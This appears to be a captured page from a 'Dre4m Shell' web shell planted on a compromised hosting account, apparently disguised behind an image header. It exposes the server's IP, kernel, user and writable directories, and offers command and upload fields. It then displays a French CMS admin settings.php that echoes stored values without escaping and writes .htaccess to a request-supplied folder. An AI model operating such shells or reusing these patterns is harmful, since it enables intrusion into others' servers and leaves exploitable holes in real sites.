ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lavignotte.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/lavignotte.com/cp-admin//settings.php
<?php
include_once('includes/header.php');
include_once('includes/menu.php');

$list = get_select(array('table'=>'info', 'where1'=>'id', 'where2'=>1));
  
  for($i=0; $i<count($list); $i++) {
        $title = $list[$i]['title'];
        $description = $list[$i]['description'];
        $keywords = $list[$i]['keywords'];
        $url = $list[$i]['url'];
        $email_contact = $list[$i]['email_contact'];
        $email_rappel = $list[$i]['email_rappel'];
        $company = $list[$i]['company'];
        $surname = $list[$i]['surname'];
        $first_name = $list[$i]['first_name'];
        $address = $list[$i]['address'];
        $zip_code = $list[$i]['zip_code'];
        $town = $list[$i]['town'];
        $phone = $list[$i]['phone'];
        $google_analytics = $list[$i]['google_analytics'];
        $maintenance = $list[$i]['maintenance'];
        $index_enter_link = $list[$i]['index_enter_link'];

}

if(isset($_POST['secure'])) 
{
  $username = $_POST['username'];
  $password = $_POST['password'];

  $htaccess = '# Solve 401 rewrite and auth conflict on some machines' . PHP_EOL
            .  'ErrorDocument 401 "Access Forbidden"' . PHP_EOL
            . PHP_EOL
            . '# Denied content' . PHP_EOL
            . '<FilesMatch "\.(htaccess|htpasswd|inc.php)$">' . PHP_EOL
            . '  Order Allow,Deny' . PHP_EOL
            . '  Deny from all' . PHP_EOL
            . '</FilesMatch>' . PHP_EOL
            . PHP_EOL
            . '# Basic authentication' . PHP_EOL
            . '<IfModule mod_auth_basic.c>' . PHP_EOL
            . '  AuthType Basic' . PHP_EOL
            . '  AuthName "Restricted Area"' . PHP_EOL
            . '  AuthUserFile "' . realpath("") . '/.htpasswd"' . PHP_EOL
            . '  Require valid-user' . PHP_EOL
            . '</IfModule>' . PHP_EOL;
  
  if (is_dir('../'.$_REQUEST['admin_folder'])) {
    file_put_contents(''. $_REQUEST['admin_folder'] .'.htaccess', $htaccess);
  }

  if (is_dir('../'.$_REQUEST['admin_folder'])) {
    $htpasswd = $username .':{SHA}'. base64_encode(sha1($password, true)) . PHP_EOL;
    if (file_put_contents('.htpasswd', $htpasswd)) {
    }
  }
}

if(isset($_POST['edit'])) {
  $id = 1;
  $values = array(
      'title'   => $_POST['title'], 
      'description'     => $_POST['description'],
      'keywords' => $_POST['keywords'],
      'url' => $_POST['url'],
      'email_contact' => $_POST['email_contact'],
      'email_rappel' => $_POST['email_rappel'],
      'company' => $_POST['company'],
      'surname' => $_POST['surname'],
      'first_name' => $_POST['first_name'],
      'address' => $_POST['address'],
      'zip_code' => $_POST['zip_code'],
      'town' => $_POST['town'],
      'phone' => $_POST['phone'],
      'google_analytics' => $_POST['google_analytics'],
      'maintenance' => $_POST['maintenance'],
      'index_enter_link' => $_POST['index_enter_link']
    );
    
  update_posted_data($values, $id, $GLOBALS['db_table']['info']);

  echo '<script>';
  echo 'window.location = "./settings.php"';
  echo '</script>';
}

?>

<div id="content">

  <div class="page-header">
    <div class="container-fluid">
      <h1>Pages dynamiques</h1>
    </div>
  </div>
  
  <div class="container-fluid">
  
        <div class="alert alert-info"><i class="fa fa-info-circle"></i> 
            Vous pouvez commander &agrave; votre Agence les modules / options (bouton rouge) les autres sont d&eacute;j&agrave; install&eacute;s dans vos modules.
            <button type="button" class="close" data-dismiss="alert">&times;</button>
        </div>
      
 
<div class="titre_pag">
<a href="add_page.php" data-toggle="tooltip" title="Activer" class="btn btn-primary" id="form"><i class="fa fa-plus"></i></a>&nbsp;&nbsp;&nbsp;&nbsp;Ajouter une page
        			
</div>
</div>











 
    <div class="row">
      <div class="span12">
          <div class="page-header">
              <h1>Paramètres Généraux</h1>
            </div>
        </div>
    </div>
    <div class="row">
    <div class="span3">
        <ul class="nav nav-tabs nav-stacked">
              <li class="active"><a href="settings.php">Général</a></li>
              <li><a href="templates.php">Templates</a></li>
              <li><a href="fixed_pages.php">Pages Fixes</a></li>
              <li><a href="modules.php">Modules</a></li>
              <li><a href="css.php">Thème</a></li>
              <li><a href="#" class="display_edit_slideshow_title">Protection CP-ADMIN</a>
            </ul>
        </div>
        <div class="span9 settings">
          <form action="" method="post" class="form-horizontal" enctype="multipart/form-data">
            <div class="well general" style="margin-top:0">
              <div class="control-group">
                <label class="control-label" for="titlefrom">Titre :</label>
                <div class="controls">
                    <input type="text" id="title" name="title" style="width:100%" value="<?php echo ''.$title.''; ?>">
                </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Description :</label>
              <div class="controls">
                  <input type="text" id="description" name="description" style="width:100%" value="<?php echo ''.$description.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Mots clés :</label>
              <div class="controls">
                  <textarea rows="7" name="keywords" id="keywords" style="width: 100%; height: 100px;"><?php echo ''.$keywords.''; ?></textarea>
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Email Contact :</label>
              <div class="controls">
                  <input type="text" id="email_contact" name="email_contact" style="width:100%" value="<?php echo ''.$email_contact.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Email Rappel :</label>
              <div class="controls">
                  <input type="text" id="email_rappel" name="email_rappel" style="width:100%" value="<?php echo ''.$email_rappel.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">URL du site :</label>
              <div class="controls">
                  <input type="text" id="url" name="url" style="width:100%" value="<?php echo ''.$url.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Société :</label>
              <div class="controls">
                  <input type="text" id="company" name="company" style="width:100%" value="<?php echo ''.$company.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Nom :</label>
              <div class="controls">
                  <input type="text" id="surname" name="surname" style="width:100%" value="<?php echo ''.$surname.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Prénom :</label>
              <div class="controls">
                  <input type="text" id="first_name" name="first_name" style="width:100%" value="<?php echo ''.$first_name.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Adresse :</label>
              <div class="controls">
                  <input type="text" id="address" name="address" style="width:100%" value="<?php echo ''.$address.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Code Postal :</label>
              <div class="controls">
                  <input type="text" id="zip_code" name="zip_code" style="width:100%" value="<?php echo ''.$zip_code.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Ville :</label>
              <div class="controls">
                  <input type="text" id="town" name="town" style="width:100%" value="<?php echo ''.$town.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Téléphone :</label>
              <div class="controls">
                  <input type="text" id="phone" name="phone" style="width:100%" value="<?php echo ''.$phone.''; ?>">
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="titlefrom">Google Analytics :</label>
              <div class="controls">
                  <textarea rows="7" name="google_analytics" id="google_analytics" style="width: 100%; height: 100px;"><?php echo ''.$google_analytics.''; ?></textarea>
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="title">Maintenance :</label>
              <div class="controls">
                <select name="maintenance">
                  <option value="0" <?php if($maintenance=='0')echo 'selected'; ?>>Désactiver</option>
                  <option value="1" <?php if($maintenance=='1')echo 'selected'; ?>>Activer</option>
                </select>
              </div>
            </div>
            <div class="control-group">
              <label class="control-label" for="title">Bouton Entrer INDEX :</label>
              <div class="controls">
                <select name="index_enter_link">

                <?php 

                $list = get_list(array('table'=>'pages', 'order'=>'position'));
  
                for($i=0; $i<count($list); $i++)
                {
                  $name = $list[$i]['name'];
                  $seo = $list[$i]['seo'];
                  if($seo == $index_enter_link) echo '<option value="'.$seo.'" selected>'.$name.'</option>';
                  else echo '<option value="'.$seo.'">'.$name.'</option>';
                }
                ?>

                </select>
              </div>
            </div>
            </div>
            <div class="form-actions">
             <button type="submit" name="edit" class="btn btn-primary ">Enregistrer</button>
            </div>
          </form>
        </div>
</div>

<div class="modal hide fade" id="slideshow_title_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h1>Protection Back-Office</h1>
  </div>
  <form action="settings.php" method="post" class="form-horizontal" enctype="multipart/form-data">
    <div class="modal-body">
        <label>Utilisateur :</label> <input type="text" name="username" style="width:100%" value="">
        <label>Mot de passe :</label> <input type="password" name="password" style="width:100%" value="">
    </div>
    <div class="modal-footer">
      <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
      <button type="submit" name="secure" class="btn btn-primary ">Enregistrer</button>
    </div>
  </form>
  
</div>

<?php
include_once('includes/footer.php');
?>
      
</div>

Anon7 - 2022
AnonSec Team